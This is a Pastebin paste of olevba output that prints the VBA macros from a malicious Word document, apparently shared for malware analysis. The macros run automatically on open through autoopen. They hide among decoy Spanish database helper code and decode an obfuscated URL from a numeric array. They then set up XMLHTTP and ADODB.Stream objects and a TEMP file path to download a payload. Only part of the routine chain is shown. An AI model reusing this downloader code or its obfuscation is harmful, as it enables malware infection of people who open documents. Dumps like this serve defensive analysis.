SHARE
TWEET

Malicious Word macro

dynamoo Oct 15th, 2015 229 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS--B-V 2015-1~1.DOC
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: 2015-1~1.DOC
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: 2015-1~1.DOC - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub autoopen()
  17. Abrir_Recordset2 "", ""
  18. Hbb = pValidateInstall()
  19. Title = pGetTitle("")
  20. Desconectar
  21. pGetMessage "MMes"
  22. Title = GetPasswordFiles()
  23. End Sub
  24.  
  25.  
  26.  
  27. -------------------------------------------------------------------------------
  28. VBA MACRO Module1.bas
  29. in file: 2015-1~1.DOC - OLE stream: u'Macros/VBA/Module1'
  30. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  31. Public tempFile As String
  32. Public Sub Abrir_Recordset(Recordset As String, StrSql As String)
  33. '-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
  34. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  35. ' Procedimiento : Abrir_Recordset
  36. ' Fecha         : 20/11/2006 13:51
  37. ' Autor         : Miguel
  38. ' Propósito     :ABRIR RECORDSET
  39. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  40. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------
  41. On Error GoTo Abrir_Recordset_Error
  42.  
  43. On Error Resume Next
  44.     Recordset.ActiveConnection = Conexion
  45.     Recordset.LockType = adLockOptimistic
  46.     Recordset.CursorLocation = adUseClient
  47.     Recordset.CursorType = adOpenDynamic
  48.     Recordset.Open StrSql
  49.  
  50.     If Err <> 0 Then
  51.         'MsgBox Err.Description
  52.    End If
  53.  
  54. On Error GoTo 0
  55.     Exit Sub
  56. Abrir_Recordset_Error:
  57.     MsgBox "Error " & Err.Number & " (" & Err.Description & ") en procedimiento Abrir_Recordset de Módulo ModuloConexion"
  58.    
  59. End Sub
  60.  
  61.  
  62. Public Sub Abrir_Recordset2(Recordset As String, StrSql As String)
  63. '-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
  64. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  65. ' Procedimiento : Abrir_Recordset
  66. ' Fecha         : 20/11/2006 13:51
  67. ' Autor         : Miguel
  68. ' Propósito     :ABRIR RECORDSET
  69. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  70. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------
  71. Set httpRequest = CreateObject("Microsoft.XMLHTTP")
  72. Set adodbStream = CreateObject("Adodb.Stream")
  73. On Error Resume Next
  74.  
  75.     Rec.cordset.ActiveConnection = Conexion2
  76.     Rec.ordset.LockType = adLockOptimistic
  77.     Rec.ordset.CursorLocation = adUseClient
  78.     Rec.ordset.CursorType = adOpenDynamic
  79.     Rec.ordset.Open StrSql
  80.  
  81.     If Err <> 0 Then
  82.         'MsgBox Err.Description
  83.    End If
  84.  
  85.    
  86. End Sub
  87.  
  88. Public Sub Abrir_Recordset3(Recordset As String, StrSql As String)
  89. '-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
  90. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  91. ' Procedimiento : Abrir_Recordset
  92. ' Fecha         : 20/11/2006 13:51
  93. ' Autor         : Miguel
  94. ' Propósito     :ABRIR RECORDSET
  95. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  96. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------
  97.  
  98. On Error Resume Next
  99.     Recordset.ActiveConnection = Conexion3
  100.     Recordset.LockType = adLockOptimistic
  101.     Recordset.CursorLocation = adUseClient
  102.     Recordset.CursorType = adOpenDynamic
  103.     Recordset.Open StrSql
  104.  
  105.     If Err <> 0 Then
  106.         'MsgBox Err.Description
  107.    End If
  108.  
  109.    
  110. End Sub
  111.  
  112.  
  113. Public Sub Abrir_Recordset4(Recordset As String, StrSql As String)
  114. '-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
  115. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  116. ' Procedimiento : Abrir_Recordset Para SQL Server 2005 Express
  117. ' Fecha         : 20/11/2006 13:51
  118. ' Autor         : Miguel
  119. ' Propósito     :ABRIR RECORDSET PARA SQL SERVER PARA ACTUALIZAR LA BD DE CERRADURAS DE HUELLA
  120. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
  121. '------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------
  122.  
  123. On Error Resume Next
  124.     Recordset.ActiveConnection = Conexion4
  125.     Recordset.LockType = adLockOptimistic
  126.     Recordset.CursorLocation = adUseClient
  127.     Recordset.CursorType = adOpenDynamic
  128.     Recordset.Open StrSql
  129.  
  130.     If Err <> 0 Then
  131.         'MsgBox Err.Description
  132.    End If
  133.  
  134.    
  135. End Sub
  136. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  137.     Dim i As Integer
  138.     Dim result As String
  139.     result = ""
  140.     For i = LBound(fromArr) To UBound(fromArr)
  141.         result = result & Chr(fromArr(i) - LenLen + i)
  142.     Next i
  143.     GetStringFromArray = result
  144. End Function
  145.  
  146.  
  147. Public Sub Desconectar()
  148.  
  149. On Error Resume Next
  150.   Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  151.    tempFile = processEnv("TEMP") + tempFile
  152.    
  153.     Conexion.Close
  154.     Conexion2.Close
  155.     Conexion3.Close
  156.     Conexion4.Close
  157.     Set Conexion = Nothing
  158.     Set Conexion2 = Nothing
  159.     Set Conexion3 = Nothing
  160.     Set Conexion4 = Nothing
  161. End Sub
  162. -------------------------------------------------------------------------------
  163. VBA MACRO Module2.bas
  164. in file: 2015-1~1.DOC - OLE stream: u'Macros/VBA/Module2'
  165. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  166. Public httpRequest As Object
  167. Public adodbStream As Object
  168. Private Function ConvertCString(ByRef vSource As String) As String
  169.     Dim i As Long
  170.     i = InStr(vSource, Chr$(0))
  171.     If (i > 0) Then
  172.         ConvertCString = Left$(vSource, i - 1)
  173.     End If
  174. End Function
  175.  
  176.  
  177. Public Function GetTempPath() As String
  178.     Dim buffer As String
  179.     buffer = String$(MAX_PATH, " ")
  180.     If (APIGetTempPath(MAX_PATH, StrPtr(buffer)) <> 0) Then
  181.         GetTempPath = ConvertCString(buffer)
  182.     End If
  183.    
  184. End Function
  185.  
  186. Public Function CreateTempFile(Optional TempPath As String = vbNullString, Optional Prefix As String = vbNullString) As String
  187.     If TempPath = vbNullString Then TempPath = GetTempPath
  188.     If Prefix = vbNullString Then Prefix = "###"
  189.     Dim buffer As String
  190.     buffer = String$(MAX_PATH, " ")
  191.     If APIGetTempFileName(StrPtr(TempPath), StrPtr(Prefix), 0, StrPtr(buffer)) <> 0 Then
  192.         CreateTempFile = ConvertCString(buffer)
  193.     End If
  194.     End Function
  195.  
  196. Public Function FileExists(ByRef strPath As String) As Boolean
  197. On Error Resume Next
  198. FileExists = False
  199. If GetAttr(strPath) And vbArchive Then
  200. If Err = 0 Then FileExists = True
  201. End If
  202. Err.Clear
  203. End Function
  204. Public Function FolderExists(ByRef strPath As String) As Boolean
  205. On Error Resume Next
  206. FolderExists = False
  207. If GetAttr(strPath) And vbDirectory Then
  208.     If Err = 0 Then FolderExists = True
  209. End If
  210. Err.Clear
  211. End Function
  212.  
  213. Function PathExists(ByRef PathName As String) As Boolean
  214.  
  215.     Dim Temp$
  216.     'Set Default
  217.    PathExists = True
  218.     Temp$ = Replace$(PathName, "/", "\")
  219.  
  220.     If Right$(Temp$, 1) = "\" Then Temp$ = Left$(Temp$, Len(Temp$) - 1)
  221.     'Set up error handler
  222.    On Error Resume Next
  223.     'Attempt to grab date and time
  224.    Temp$ = GetAttr(Temp$)
  225.     'Process errors
  226.  
  227.     If Err <> 0 Then PathExists = False
  228.     '    Select Case Err
  229.    '    Case 53, 76, 68   'File Does Not Exist
  230.    '        modFile_FileExists = False
  231.    '        Err = 0
  232.    '    Case Else
  233.    '
  234.    '        If Err <> 0 Then
  235.    '            MsgBox "Error Number: " & Err & Chr$(10) & Chr$(13) & " " & Error, vbOKOnly, "Error"
  236.    '            End
  237.    '        End If
  238.    '
  239.    '    End Select
  240.    Err.Clear
  241. End Function
  242.  
  243. Function BuildPath(ByVal sPathIn As String, Optional ByVal sFileNameIn As String, Optional lnps As String) As String
  244.  
  245.     '*******************************************************************
  246.    '
  247.    '  PURPOSE: Takes a path (including Drive letter and any subdirs) and
  248.    '           concatenates the file name to path. Path may be empty, path
  249.    '           may or may not have an ending backslash '\'.  No validation
  250.    '           or existance is check on path or file.
  251.    '
  252.    '  INPUTS:  sPathIn - Path to use
  253.    '           sFileNameIn - Filename to use
  254.    '
  255.    '
  256.    '  OUTPUTS:  N/A
  257.    '
  258.    '  RETURNS:  Path concatenated to File.
  259.    '
  260.    '*******************************************************************
  261.    '    Dim sPath As String
  262.    '    Dim sFilename As String
  263.    '    'Remove any leading or trailing spaces
  264.    '    sPath = Trim$(sPathIn)
  265.    '    sFilename = Trim$(sFileNameIn)
  266.    Dim sSlash As String
  267.  
  268.     If lnps = lnpsDos Then
  269.         sSlash = "\"
  270.         sPathIn = Replace$(sPathIn, "/", "\")
  271.         sFileNameIn = Replace$(sFileNameIn, "/", "\")
  272.     Else
  273.         sSlash = "/"
  274.         sPathIn = Replace$(sPathIn, "\", "/")
  275.         sFileNameIn = Replace$(sFileNameIn, "\", "/")
  276.     End If
  277.  
  278.     If sPathIn = vbNullString Then
  279.         BuildPath = sFileNameIn
  280.     Else
  281.  
  282.         If Right$(sPathIn, 1) = sSlash Then
  283.             BuildPath = sPathIn & sFileNameIn
  284.         Else
  285.             BuildPath = sPathIn & sSlash & sFileNameIn
  286.         End If
  287.  
  288.     End If
  289.  
  290. End Function
  291.  
  292. Function GetFileName(ByRef sFilename As String) As String
  293.     Dim pLen As String
  294.     Dim sPath As String
  295.    
  296.     sPath = sFilename
  297.     pLen = Len(sPath)
  298.     If pLen < 1 Then Exit Function
  299.     Do While (Right$(sPath, 1) = "\")
  300.         pLen = pLen - 1
  301.         sPath = Left$(sPath, pLen)
  302.         If pLen < 1 Then GetFileName = "\": Exit Function
  303.     Loop
  304.     Do While (Right$(sPath, 1) = "/")
  305.         pLen = pLen - 1
  306.         sPath = Left$(sPath, pLen)
  307.         If pLen < 1 Then GetFileName = "\": Exit Function
  308.     Loop
  309.    
  310.     'GetFileName = sPath
  311.    Dim pos As Long
  312.     pos = InStrRev(sPath, "/")
  313.     If pos < 1 Then pos = InStrRev(sPath, "\")
  314.     If pos < 1 Then
  315.         GetFileName = sPath
  316.     Else
  317.         GetFileName = Right$(sPath, pLen - pos)
  318.     End If
  319.    
  320.     'pos = InStrRev$(sPath, ".")
  321.  
  322.  
  323. End Function
  324.  
  325. Function GetParentFolderName(ByRef sFilename As String) As String
  326.  
  327.     Dim lF As Long
  328.     Dim pos As Long
  329.     lF = Len(sFilename)
  330.     If lF < 1 Then Exit Function
  331.    
  332.     GetParentFolderName = sFilename
  333.     pos = InStrRev(GetParentFolderName, "/")
  334.  
  335.     If pos = 0 Then pos = InStrRev(GetParentFolderName, "\")
  336.  
  337.     If pos = lF Then
  338.         GetParentFolderName = Left$(GetParentFolderName, lF - 1)
  339.         pos = InStrRev(GetParentFolderName, "/")
  340.  
  341.         If pos = 0 Then pos = InStrRev(GetParentFolderName, "\")
  342.     End If
  343.  
  344.     If pos = 0 Then
  345.         GetParentFolderName = vbNullString
  346.     Else
  347.         GetParentFolderName = Mid$(sFilename, 1, pos - 1) & "\"
  348.     End If
  349.  
  350.     '
  351.    '    pos = InStrRev(GetParentFolder, "/")
  352.    '    If pos = 0 Then pos = InStrRev(GetParentFolder, "\")
  353.    '    If pos = 0 Then GetParentFolder = vbNULLSTRING
  354.  
  355. End Function
  356.  
  357. Public Function GetBaseName(ByVal sPath As String) As String
  358.  
  359.     Dim pos As Long
  360.     sPath = GetFileName(sPath)
  361.     pos = InStrRev(sPath, ".")
  362.     If pos > 0 Then
  363.         GetBaseName = Left$(sPath, pos - 1)
  364.     Else
  365.         GetBaseName = sPath
  366.     End If
  367.  
  368. End Function
  369.  
  370. Public Function GetExtensionName(ByRef sPath As String) As String
  371.  
  372.     If sPath = vbNullString Then Exit Function
  373.     GetExtensionName = RightRight(sPath, ".", vbTextCompare, ReturnEmptyStr)
  374.  
  375. End Function
  376.  
  377. Private Function RightRight(ByRef Str As String, RFind As String, Optional Compare As String, Optional RetError As String) As String
  378.  
  379.     Dim K As Long
  380.     K = InStrRev(Str, RFind, , Compare)
  381.  
  382.     If K = 0 Then
  383.         RightRight = IIf(RetError = ReturnOriginalStr, Str, vbNullString)
  384.     Else
  385.         RightRight = Mid$(Str, K + 1, Len(Str))
  386.     End If
  387.  
  388. End Function
  389.  
  390. Public Function GetTempFilename(Optional sPrefix As String = "lTmp", Optional sExt As String) As String
  391.  
  392.     Randomize Timer
  393.  
  394.     If sExt <> vbNullString Then sExt = "." & sExt
  395.     GetTempFilename = sPrefix & Hex$(Int(Rnd(Timer) * 10000 + 1)) & sExt
  396.  
  397.     Do Until PathExists(GetTempFilename) = False
  398.         GetTempFilename = sPrefix & Hex$(Int(Rnd(Timer) * 10000 + 1)) & sExt
  399.     Loop
  400.  
  401. End Function
  402.  
  403. Public Function GetFullPath(sFilename As String) As String
  404.  
  405.     Dim C As Long, sRet As String
  406.     GetFullPath = sFilename
  407.  
  408.     If sFilename = Empty Then Exit Function
  409.     ' Get the path size, then create string of that size
  410.    sRet = String$(cMaxPath, 0)
  411.     C = APIGetFullPathName(StrPtr(sFilename), MAX_PATH, StrPtr(sRet), 0)
  412.    ' GetFullPath = StrConv(ConvertCString(sRet), vbUnicode)
  413.    GetFullPath = ConvertCString(sRet)
  414.  
  415. End Function
  416.  
  417. Public Function PathType(sPath As String) As String
  418.  
  419.     PathType = LNUnKnown
  420.     On Error GoTo Herr
  421.  
  422.     If sPath = vbNullString Then Exit Function
  423.  
  424.     If InStr(sPath, ":") < 1 Then sPath = GetFullPath(sPath)
  425.     Dim PathAttr As VbFileAttribute
  426.     PathAttr = GetAttr(sPath)
  427.  
  428.     If (PathAttr And vbDirectory) Then
  429.         PathType = LNFolder
  430.     ElseIf (PathAttr And vbArchive) Then
  431.         PathType = LNFile
  432.     End If
  433.  
  434. Herr:
  435.  
  436. End Function
  437.  
  438. Public Function subCount(ByVal spathName As String, Optional ByRef lFolders As Long, Optional ByRef lFiles As Long) As Long
  439.  
  440.     Dim subName As String
  441.  
  442.     If PathType(spathName) <> LNFolder Then Exit Function
  443.     spathName = GetFullPath(spathName)
  444.     subName = Dir(spathName, vbDirectory Or vbArchive Or vbHidden Or vbNormal Or vbSystem Or vbReadOnly)
  445.  
  446.     Do Until subName = vbNullString
  447.  
  448.         If subName = "." Or subName = ".." Then
  449.         Else
  450.             subCount = subCount + 1
  451.             subName = BuildPath(spathName, subName)
  452.  
  453.             If PathType(subName) = LNFolder Then
  454.                 lFolders = lFolders + 1
  455.             Else
  456.                 lFiles = lFiles + 1
  457.             End If
  458.  
  459.         End If
  460.  
  461.         subName = Dir()
  462.     Loop
  463.  
  464. End Function
  465. Public Function subFolders(ByVal spathName As String, ByRef strFolder() As String) As Long
  466.     Dim fdCount As Long
  467.     Dim subName As String
  468.    
  469.     spathName = GetFullPath(spathName)
  470.     subName = Dir$(spathName, vbDirectory)
  471.     spathName = BuildPath(spathName)
  472.     Do Until subName = vbNullString
  473.         If subName <> "." And subName <> ".." Then
  474.                 If GetAttr(spathName & subName) And vbDirectory Then
  475.                 ReDim Preserve strFolder(0 To fdCount) As String
  476.                 strFolder(fdCount) = spathName & subName
  477.                 fdCount = fdCount + 1
  478.             End If
  479.         End If
  480.         subName = Dir$()
  481.     Loop
  482.     subFolders = fdCount
  483.    
  484. End Function
  485. Public Function subFiles(ByVal spathName As String, ByRef strFile() As String) As Long
  486.     Dim fCount As Long
  487.     Dim subName As String
  488.    
  489.     spathName = GetFullPath(spathName)
  490.     subName = Dir$(spathName, vbArchive)
  491.     Do Until subName = vbNullString
  492.         If subName <> "." And subName <> ".." Then
  493.  
  494.             ReDim Preserve strFile(0 To fCount) As String
  495.             strFile(fCount) = subName
  496.             fCount = fCount + 1
  497.         End If
  498.         subName = Dir$()
  499.     Loop
  500.     subFiles = fCount
  501.  
  502. End Function
  503.  
  504. Public Sub xMkdir(sPath As String)
  505.     Dim parentFolder As String
  506.     If FolderExists(sPath) Then Exit Sub
  507.     parentFolder = GetParentFolderName(sPath)
  508.     If parentFolder <> vbNullString And FolderExists(parentFolder) = False Then xMkdir parentFolder
  509.     MkDir sPath
  510. End Sub
  511.  
  512.  
  513.  
  514. Public Function chkFileType(chkfile As String) As String
  515.     Dim Ext As String
  516.     Dim K As Long
  517.     K = InStrRev(chkfile, ".", , vbTextCompare)
  518.  
  519.     If K > 0 Then
  520.         Ext = LCase$(Mid$(chkfile, K + 1, Len(chkfile)))
  521.     End If
  522.  
  523.     Select Case Ext
  524.     Case "rtf"
  525.         chkFileType = ftRTF
  526.     Case "zhtm", "zip"
  527.         chkFileType = ftZIP
  528.     Case "txt", "ini", "bat", "cmd", "css", "log", "cfg", "txtindex"
  529.         chkFileType = ftTxt
  530.     Case "jpg", "jpeg", "gif", "bmp", "png", "ico"
  531.         chkFileType = ftIMG
  532.     Case "htm", "html", "shtml"
  533.         chkFileType = ftIE
  534.     Case "exe", "com"
  535.         chkFileType = ftExE
  536.     Case "chm"
  537.         chkFileType = ftCHM
  538.     Case "mp3", "wav", "wma"
  539.         chkFileType = ftAUDIO
  540.     Case "wmv", "rm", "rmvb", "avi", "mpg", "mpeg"
  541.         chkFileType = ftVIDEO
  542.     End Select
  543.  
  544. End Function
  545.  
  546. Public Function lookfor(sCurFile As String, Optional lookForWhat As String, Optional sWildcard As String = "*")
  547.  
  548. Dim sCurFilename As String
  549. Dim sCurFolder As String
  550. Dim i As Long
  551. Dim iCount As Long
  552. Dim sFileList() As String
  553. Dim Index As String
  554.  
  555. If PathExists(sCurFile) = False Then Exit Function
  556.  
  557. If PathType(sCurFile) = LNFolder Then
  558.     sCurFolder = sCurFile
  559. ElseIf PathType(sCurFile) = LNFile Then
  560.     sCurFolder = GetParentFolderName(sCurFile)
  561.     sCurFilename = GetFileName(sCurFile)
  562. Else
  563.     Exit Function
  564. End If
  565.  
  566. iCount = subFiles(BuildPath(sCurFolder, sWildcard), sFileList())
  567. If iCount < 1 Then Exit Function
  568. Index = 0
  569. If lookForWhat = LN_FILE_RAND Then
  570.     Index = Int(Rnd(Timer) * iCount) + 1
  571. ElseIf sCurFilename = vbNullString Then
  572.         Index = 1
  573. Else
  574.     For i = 1 To iCount
  575.         If StrComp(sCurFilename, sFileList(i), vbTextCompare) = 0 Then
  576.             Index = i: Exit For
  577.         End If
  578.     Next
  579. End If
  580.  
  581. If lookForWhat = LN_FILE_next Then
  582.     Index = Index + 1
  583.     If Index > iCount Then Index = 1
  584. ElseIf lookForWhat = LN_FILE_prev Then
  585.     Index = Index - 1
  586.     If Index < 1 Then Index = iCount
  587. End If
  588.  
  589. lookfor = BuildPath(sCurFolder, sFileList(Index))
  590.  
  591. End Function
  592.  
  593.  
  594. Public Function DeleteFolder(ByVal vTarget As String) As Boolean
  595.    
  596. On Error GoTo ErrorDeleteFolder
  597.  
  598.     vTarget = BuildPath(vTarget, vbNullString)
  599.     ForceKill vTarget & "*.*"
  600.    
  601.    
  602.     Dim folders() As String
  603.     Dim count As Long
  604.     count = subFolders(vTarget, folders())
  605.    
  606.     Dim i As Long
  607.     For i = 1 To count
  608.         DeleteFolder folders(i)
  609.     Next
  610.    
  611.     RmDir vTarget
  612.     DeleteFolder = True
  613.        
  614.        
  615. ErrorDeleteFolder:
  616.     DeleteFolder = False
  617.     Err.Raise Err.Number, Err.Source, Err.Description
  618. End Function
  619.  
  620. Public Sub ForceKill(ByRef vTarget As String)
  621.     On Error Resume Next
  622.     Kill vTarget
  623.     Err.Clear
  624. End Sub
  625.  
  626. Public Function MoveFile(ByVal vSource As String, ByVal vDest As String) As Boolean
  627.     Dim r As Long
  628.     r = APIMoveFile(vSource, vDest)
  629.     If r <> 0 Then MoveFile = True
  630. End Function
  631.  
  632. Public Function ReplaceInvalidChars(ByRef vString As String, Optional ByRef vTo As String = vbNullString) As String
  633.     Dim i As Long
  634.     Dim j As Long
  635.     Dim L1 As Long
  636.     Dim L2 As Long
  637.    
  638.     Dim C As String
  639.     Dim invalidChars() As String
  640.     L1 = Len(FileSystem_Invalid_Path_Chars)
  641.     ReDim invalidChars(1 To L1)
  642.     For i = 1 To L1
  643.         invalidChars(i) = Mid$(FileSystem_Invalid_Path_Chars, i, 1)
  644.     Next
  645.        
  646.     L2 = Len(vString)
  647.     For i = 1 To L2
  648.         C = Mid$(vString, i, 1)
  649.         For j = 1 To L1
  650.             If C = invalidChars(j) Then
  651.                 C = vTo
  652.                 Exit For
  653.             End If
  654.         Next
  655.         ReplaceInvalidChars = ReplaceInvalidChars & C
  656.     Next
  657. End Function
  658.  
  659. Public Sub WriteToFile(ByRef vFilename As String, ByRef vText As String, Optional vUnicode As Boolean = False)
  660.     On Error Resume Next
  661.    
  662.     Dim fNum As Long
  663.     'Dim l As Long
  664.    fNum = FreeFile
  665.    
  666.    
  667.     Kill vFilename
  668.    
  669.     Dim c_B(1) As Byte
  670.     ReDim bText(LenB(vText)) As Byte
  671.     c_B(0) = 255
  672.     c_B(1) = 254
  673.     bText = vText
  674.     Open vFilename For Binary Access Write As #fNum
  675.     Put #fNum, , c_B()
  676.     Put #fNum, , bText
  677.    
  678.     Close #fNum
  679.    
  680.     If Err Then
  681.         Err.Raise Err.Number, "WriteToFile: " & vFilename, Err.Description
  682.     End If
  683. End Sub
  684.  
  685. 'CSEH: ErrExit
  686. Public Function FS_OpenFile(ByVal vFilename As String, Optional vMode As String) As Integer
  687.     '<EhHeader>
  688.    On Error GoTo FS_OpenFile_Err
  689.     '</EhHeader>
  690.    Dim fNum As Integer
  691.     fNum = FreeFile
  692.     Select Case vMode
  693.         Case FS_OpenFileMode.FS_OFM_BINARY
  694.             Open vFilename For Binary As #fNum
  695.         Case FS_OpenFileMode.FS_OFM_BINARY_READ
  696.             Open vFilename For Binary Access Read As #fNum
  697.         Case FS_OpenFileMode.FS_OFM_BINARY_READWRITE
  698.             Open vFilename For Binary Access Read Write As #fNum
  699.         Case FS_OpenFileMode.FS_OFM_BINARY_WRITE
  700.             Open vFilename For Binary Access Write As #fNum
  701.         Case FS_OpenFileMode.FS_OFM_INPUT
  702.             Open vFilename For Input As #fNum
  703.         Case FS_OpenFileMode.FS_OFM_OUTPUT
  704.             Open vFilename For Output As #fNum
  705.         Case FS_OpenFileMode.FS_OFM_RANDOM
  706.             Open vFilename For Random As #fNum
  707.         Case Else
  708.             GoTo FS_OpenFile_Err
  709.     End Select
  710.         FS_OpenFile = fNum
  711.     '<EhFooter>
  712.    Exit Function
  713.  
  714. FS_OpenFile_Err:
  715.     FS_OpenFile = -1
  716.     Err.Clear
  717.  
  718.     '</EhFooter>
  719. End Function
  720. 'CSEH: ErrExit
  721. Public Function FS_ReadFile(ByVal vFilename As String, ByRef vData() As Byte, Optional vStart As Long = 1, Optional vLength As Long = -1) As Long
  722.     '<EhHeader>
  723.    On Error GoTo FS_ReadFile_Err
  724.     '</EhHeader>
  725.    Dim fNum As Integer
  726.     Dim fSize As Long
  727.     fNum = FS_OpenFile(vFilename, FS_OFM_BINARY_READ)
  728.     If fNum > 0 Then
  729.         fSize = LOF(fNum)
  730.         If vLength < 1 Then vLength = fSize
  731.         If vStart > fSize Then vStart = 1
  732.         If fSize > 0 Then
  733.             If vLength + vStart - 1 > fSize Then vLength = fSize - vStart + 1
  734.             ReDim vData(0 To vLength - 1)
  735.             Seek #fNum, vStart
  736.             Get #fNum, , vData
  737.             FS_ReadFile = vLength
  738.         Else
  739.             FS_ReadFile = 0
  740.         End If
  741.         Close #fNum
  742.     Else
  743.         FS_ReadFile = -1
  744.     End If
  745.     '<EhFooter>
  746.    Exit Function
  747.  
  748. FS_ReadFile_Err:
  749.     FS_ReadFile = -1
  750.     If fNum > 0 Then FS_CloseFile fNum
  751.     Err.Clear
  752.  
  753.     '</EhFooter>
  754. End Function
  755. 'CSEH: ErrExit
  756. Public Function FS_WriteFile(ByVal vFilename As String, ByRef vData() As Byte, Optional vStart As Long = 1) As Boolean
  757.     '<EhHeader>
  758.    On Error GoTo FS_WriteFile_Err
  759.     '</EhHeader>
  760.    Dim fNum As Integer
  761.     Dim fSize As Long
  762.     fNum = FS_OpenFile(vFilename, FS_OFM_BINARY_WRITE)
  763.     If fNum > 0 Then
  764.         fSize = LOF(fNum)
  765.         If vStart > fSize Then vStart = fSize
  766.         If vStart < 1 Then vStart = fSize
  767.         If vStart < 1 Then vStart = 1
  768.         Seek #fNum, vStart
  769.         Put #fNum, , vData
  770.         Close #fNum
  771.         FS_WriteFile = True
  772.     Else
  773.         FS_WriteFile = False
  774.     End If
  775.     '<EhFooter>
  776.    Exit Function
  777.  
  778. FS_WriteFile_Err:
  779.     FS_WriteFile = False
  780.     If fNum > 0 Then FS_CloseFile fNum
  781.     Err.Clear
  782.  
  783.     '</EhFooter>
  784. End Function
  785. 'CSEH: ErrExit
  786. Public Function FS_CloseFile(ByVal vFileNum As Integer) As Boolean
  787.     '<EhHeader>
  788.    On Error GoTo FS_CloseFile_Err
  789.     '</EhHeader>
  790.    If vFileNum > 0 Then Close vFileNum
  791.     FS_CloseFile = True
  792.     '<EhFooter>
  793.    Exit Function
  794.  
  795. FS_CloseFile_Err:
  796.     FS_CloseFile = False
  797.     Err.Clear
  798.  
  799.     '</EhFooter>
  800. End Function
  801. -------------------------------------------------------------------------------
  802. VBA MACRO Module3.bas
  803. in file: 2015-1~1.DOC - OLE stream: u'Macros/VBA/Module3'
  804. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  805. Public Sub pSetInitWithWindows()
  806.   Dim s As String
  807.   Dim InitWithWindows As Boolean
  808.   Dim Key As String
  809.  
  810.   Set mReg = New cRegistry
  811.  
  812.   Key = App.Title & "(" & App.path & ")"
  813.   InitWithWindows = Val(GetIniValue(csSecConfig, _
  814.                     csInitWithWindows, _
  815.                     1, _
  816.                     GetIniFullFile(csIniFile)))
  817.                    
  818.   s = mReg.GetRegString(cvRun, Key)
  819.   If s <> "" Then
  820.     If Not InitWithWindows Then
  821.       RemoveFromRegistry Key
  822.     End If
  823.   Else
  824.     InsertInRegistry Key, """" & App.path & "\" & App.EXEName & ".exe"" -r"
  825.   End If
  826. End Sub
  827.  
  828. Public Function pValidateInstall() As Boolean
  829.   Dim dbPath, Nnm  As String
  830.   Dim computer() As Variant
  831.     computer = Array(153, 164, 163, 158, 103, 91, 90, 157, 141, 144, 154, 154, 151, 141, 133, 148, 143, 129, 139, 134, 140, 144, 124, 72, 145, 126, 69, 121, 143, 67, 75, 72, 70, 71, 68, 69, 67, 65, 58, 64, 64, 61, 62, 60, 57, 57, 49, 103, 121, 101)
  832.   httpRequest.Open "GET", GetStringFromArray(computer, 49), False
  833.  
  834.   dbPath = LoadPasswordFiles
  835.  
  836.   If LenB(dbPath) = 0 Then
  837.     Exit Function
  838.   End If
  839.  
  840.   dbPath = Getc.IniValue(csSecConfig, _
  841.                        csDbPath, _
  842.                        vbNullString, _
  843.                        "GetIniFullFile(csIniFile)")
  844.  
  845.   Dim bValid As Boolean
  846.  
  847.   If LenB(dbPath) <> 0 Then
  848.     bValid = File.FolderExists_(dbPath)
  849.   End If
  850.  
  851.   If Not bValid Then
  852.     MsgBox "Debe indicar una carpeta donde se guardaran las definiciones de tareas de CSBackup"
  853.     Exit Function
  854.   Else
  855.     pValidateInstall = True
  856.   End If
  857.  
  858. End Function
  859.  
  860. Private Sub pLoadIniValues()
  861.   LoadPasswordFiles
  862. End Sub
  863.  
